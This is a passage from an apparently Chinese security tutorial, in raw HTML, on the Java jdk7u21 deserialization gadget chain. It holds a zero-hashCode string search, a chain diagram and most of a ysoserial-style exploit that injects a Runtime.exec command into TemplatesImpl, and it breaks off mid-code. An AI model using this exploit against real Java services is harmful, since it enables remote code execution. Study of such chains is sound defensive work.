style="box-sizing: border-box;">碰撞是指两个不同的字符串计算得到的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Hash</code><span md-inline="plain" style="box-sizing: border-box;">值相同。</span></span></span></p><p cid="n296" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">如在</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">国外社区上</span><span md-inline="plain" style="box-sizing: border-box;">就有人给出了以下计算 hash 值为 0 的代码：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">hashtest</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>)</span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> i = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">        loop: <span class="code-snippet__keyword">while</span>(<span class="code-snippet__literal">true</span>){</span></code><code><span class="code-snippet_outer">            String s = Long.toHexString(i);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span>(s.hashCode() == <span class="code-snippet__number">0</span>){</span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;Found: &#39;&#34;</span>+s+<span class="code-snippet__string">&#34;&#39;&#34;</span>);</span></code><code><span class="code-snippet_outer">               <span class="code-snippet__comment">// break loop;</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span>(i % <span class="code-snippet__number">1000000</span>==<span class="code-snippet__number">0</span>){</span></code><code><span class="code-snippet_outer">             <span class="code-snippet__comment">//   System.out.println(&#34;checked: &#34;+i);</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            i++;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">运行后会得到 hash 值为 0 的字符串，如下图所示:</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.39846322722283206" data-s="300,640" style="" data-type="png" data-w="1822" src="https://wechat2rss.xlab.app/img-proxy/?k=4a181f77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559Dfoaib209VkvdYWqTdVWP633Qsx30cCpzfSrgdWK2v8WY8wQJELhds4w%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n301" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x04 jdk7u21 payload</span></h2><p cid="n302" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">整个gadget链：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">终点（要达到的目标）：Runtime.exec()</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__params">||</span></span></code><code><span class="code-snippet_outer">TemplatesImpl.getOutputProperties()</span></code><code><span class="code-snippet_outer">                  TemplatesImpl.newTransformer()</span></code><code><span class="code-snippet_outer">                    TemplatesImpl.getTransletInstance()</span></code><code><span class="code-snippet_outer">                      TemplatesImpl.defineTransletClasses()</span></code><code><span class="code-snippet_outer">                        ClassLoader.defineClass()</span></code><code><span class="code-snippet_outer">                        Class.newInstance()</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__params">||</span></span></code><code><span class="code-snippet_outer"> AnnotationInvocationHandler.invoke()</span></code><code><span class="code-snippet_outer">          AnnotationInvocationHandler.equalsImpl()</span></code><code><span class="code-snippet_outer">            Method.invoke()</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__params">||</span></span></code><code><span class="code-snippet_outer">Proxy(Templates).equals()</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__params">||</span></span></code><code><span class="code-snippet_outer">Proxy(Templates).hashCode() (X)</span></code><code><span class="code-snippet_outer">        AnnotationInvocationHandler.invoke() (X)      </span></code><code><span class="code-snippet_outer">          AnnotationInvocationHandler.hashCodeImpl() (X)</span></code><code><span class="code-snippet_outer">            String.hashCode() (<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">            AnnotationInvocationHandler.memberValueHashCode() (X)</span></code><code><span class="code-snippet_outer">              TemplatesImpl.hashCode() (X)</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__params">||</span></span></code><code><span class="code-snippet_outer"> LinkedHashSet.add()</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__params">||</span></span></code><code><span class="code-snippet_outer">起点（要读取的内容）：LinkedHashSet.readObject()</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> src.main.java;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.ClassClassPath;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.ClassPool;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.CtClass;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.xml.transform.Templates;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Arrays;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.HashMap;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.LinkedHashSet;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> <span class="code-snippet__keyword">static</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Reflections</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Field <span class="code-snippet__title">getField</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> Class&lt;?&gt; clazz, <span class="code-snippet__keyword">final</span> String fieldName)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        Field field = clazz.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (field != <span class="code-snippet__keyword">null</span>)</span></code><code><span class="code-snippet_outer">            field.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (clazz.getSuperclass() != <span class="code-snippet__keyword">null</span>)</span></code><code><span class="code-snippet_outer">            field = getField(clazz.getSuperclass(), fieldName);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> field;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setFieldValue</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> Object obj, <span class="code-snippet__keyword">final</span> String fieldName, <span class="code-snippet__keyword">final</span> Object value)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> Field field = getField(obj.getClass(), fieldName);</span></code><code><span class="code-snippet_outer">        field.set(obj, value);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Constructor&lt;?&gt; getFirstCtor(<span class="code-snippet__keyword">final</span> String name) <span class="code-snippet__keyword">throws</span> Exception {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> Constructor&lt;?&gt; ctor = Class.forName(name).getDeclaredConstructors()[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">        ctor.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> ctor;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ClassFiles</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String <span class="code-snippet__title">classAsFile</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> Class&lt;?&gt; clazz)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> classAsFile(clazz, <span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String <span class="code-snippet__title">classAsFile</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> Class&lt;?&gt; clazz, <span class="code-snippet__keyword">boolean</span> suffix)</span> </span>{</span></code><code><span class="code-snippet_outer">        String str;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (clazz.getEnclosingClass() == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            str = clazz.getName().replace(<span class="code-snippet__string">&#34;.&#34;</span>, <span class="code-snippet__string">&#34;/&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            str = classAsFile(clazz.getEnclosingClass(), <span class="code-snippet__keyword">false</span>) + <span class="code-snippet__string">&#34;$&#34;</span> + clazz.getSimpleName();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (suffix) {</span></code><code><span class="code-snippet_outer">            str += <span class="code-snippet__string">&#34;.class&#34;</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> str;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] classAsBytes(<span class="code-snippet__keyword">final</span> Class&lt;?&gt; clazz) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span>[] buffer = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">1024</span>];</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">final</span> String file = classAsFile(clazz);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">final</span> InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (in == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IOException(<span class="code-snippet__string">&#34;couldn&#39;t find &#39;&#34;</span> + file + <span class="code-snippet__string">&#34;&#39;&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">final</span> ByteArrayOutputStream out = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> len;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> ((len = in.read(buffer)) != -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                out.write(buffer, <span class="code-snippet__number">0</span>, len);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> out.toByteArray();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> RuntimeException(e);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Gadgets</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 启用SecurityManager时使用TemplatesImpl gadget的特殊情况</span></span></code><code><span class="code-snippet_outer">        System.setProperty(DESERIALIZE_TRANSLET, <span class="code-snippet__string">&#34;true&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">StubTransletPayload</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AbstractTranslet</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Serializable</span> </span>{</span></code><code><span class="code-snippet_outer">     <span class="code-snippet__comment">//   private static final long serialVersionUID = -5971610431559700674L;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">transform</span><span class="code-snippet__params">(DOM document, SerializationHandler[] handlers)</span> <span class="code-snippet__keyword">throws</span> TransletException </span>{}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">transform</span><span class="code-snippet__params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="code-snippet__keyword">throws</span> TransletException </span>{}</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// required to make TemplatesImpl happy</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Foo</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Serializable</span> </span>{</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">//  private static final long serialVersionUID = 8207363842866235160L;</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> &lt;T&gt; <span class="code-snippet__function">T <span class="code-snippet__title">createProxy</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> InvocationHandler ih, <span class="code-snippet__keyword">final</span> Class&lt;T&gt; iface, <span class="code-snippet__keyword">final</span> Class&lt;?&gt; ... ifaces)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> Class&lt;?&gt;[] allIfaces</span></code><code><span class="code-snippet_outer">                = (Class&lt;?&gt;[]) Array.newInstance(Class.class, ifaces.length + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">        allIfaces[<span class="code-snippet__number">0</span>] = iface;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (ifaces.length &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            System.arraycopy(ifaces, <span class="code-snippet__number">0</span>, allIfaces, <span class="code-snippet__number">1</span>, ifaces.length);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> iface.cast(</span></code><code><span class="code-snippet_outer">                Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> TemplatesImpl <span class="code-snippet__title">createTemplatesImpl</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> TemplatesImpl templates = <span class="code-snippet__keyword">new</span> TemplatesImpl();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// use template gadget class</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 获取容器ClassPool，注入classpath</span></span></code><code><span class="code-snippet_outer">        ClassPool pool = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__comment">// System.out.println(&#34;insertClassPath: &#34; + new ClassClassPath(StubTransletPayload.class));</span></span></code><code><span class="code-snippet_outer">        pool.insertClassPath(<span class="code-snippet__keyword">new</span> ClassClassPath(StubTransletPayload.class));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 获取已经编译好的类</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__comment">// System.out.println(&#34;ClassName: &#34; + StubTransletPayload.class.getName());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> CtClass clazz = pool.get(StubTransletPayload.class.getName());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 在静态的的构造方法中插入payload</span></span></code><code><span class="code-snippet_outer">        clazz.makeClassInitializer()</span></code><code><span class="code-snippet_outer">                .insertAfter(<span class="code-snippet__string">&#34;java.lang.Runtime.getRuntime().exec(\&#34;&#34;</span></span></code><code><span class="code-snippet_outer">                        +<span class="code-snippet__string">&#34;open -a Calculator&#34;</span></span></code><code><span class="code-snippet_outer">                        + <span class="code-snippet__string">&#34;\&#34;);&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 给payload类设置一个名称</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 允许重复执行的唯一名称（注意 PermGen 耗尽）</span></span></code><code><span class="code-snippet_outer">        clazz.setName(<span class="code-snippet__string">&#34;ysoserial.Pwner&#34;</span> + System.nanoTime());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 获取该类的字节码</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span>[] classBytes = clazz.toBytecode();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//System.out.println(Arrays.toString(classBytes));</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 将类字节注入实例</span></span></code><code><span class="code-snippet_outer">        Reflections.setFieldValue(</span></code><code><span class="code-snippet_outer">                templates,</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__string">&#34;_bytecodes&#34;</span>,</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[][] {</span></code><code><span class="code-snippet_outer">                        classBytes,</span></code><code><span class="code-snippet_outer">                        ClassFiles.classAsBytes(Foo.class)</span></code><code><span class="code-snippet_outer">                });</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// required to make TemplatesImpl happy</span></span></code><code><span class="code-snippet_outer">        Reflections.setFieldValue(templates, <span class="code-snippet__string">&#34;_name&#34;</span>, <span class="code-snippet__string">&#34;Pwnr&#34;</span>);</span></code><code><span class="code-snippet_outer">        Reflections.setFieldValue(templates, <span class="code-snippet__string">&#34;_tfactory&#34;</span>, <span class="code-snippet__keyword">new</span> TransformerFactoryImpl());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 只要触发这个方法就能执行我们注入的bytecodes</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// templates.getOutputProperties();</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> templates;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">exp</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">buildPayload</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 生成 evil 模板，如果触发 templates.getOutputProperties()，可以执行命令</span></span></code><code><span class="code-snippet_outer">        Object templates = Gadgets.createTemplatesImpl();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// magic string, zeroHashCodeStr.hashCode() == 0</span></span></code><code><span class="code-snippet_outer">        String zeroHashCodeStr = <span class="code-snippet__string">&#34;f5a5a608&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// build a hash map, and put our evil templates in it.</span></span></code><code><span class="code-snippet_outer">        HashMap map = <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//map.put(zeroHashCodeStr, &#34;foo&#34;);  // Not necessary</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Generate proxy&#39;s handler，use `AnnotationInvocationHandler` as proxy&#39;s handler</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// When proxy is done，all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler&#39;s invoke method.</span></span></code><code><span class="code-snippet_outer">        Constructor&lt;?&gt; ctor = Class.forName(<span class="code-snippet__string">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;</span>).getDeclaredConstructors()[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">        ctor.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        Reflections.setFieldValue(tempHandler, &#34;type&#34;, Templates.class);  // not necessary, because newInstance() already pass Templates.class to tempHandler</span></span></code><code><span class="code-snippet_outer">        Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__comment">// Reflections.setFieldValue(templates, &#34;_auxClasses&#34;, null);</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__comment">// Reflections.setFieldValue(templates, &#34;_class&#34;, null);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        LinkedHashSet set = <span class="code-snippet__keyword">new</span> LinkedHashSet(); <span class="code-snippet__comment">// maintain order</span></span></code><code><span class="code-snippet_outer">        set.add(templates);     <span class="code-snippet__comment">// save evil templates</span></span></code><code><span class="code-snippet_outer">        set.add(proxy);         <span class="code-snippet__comment">// 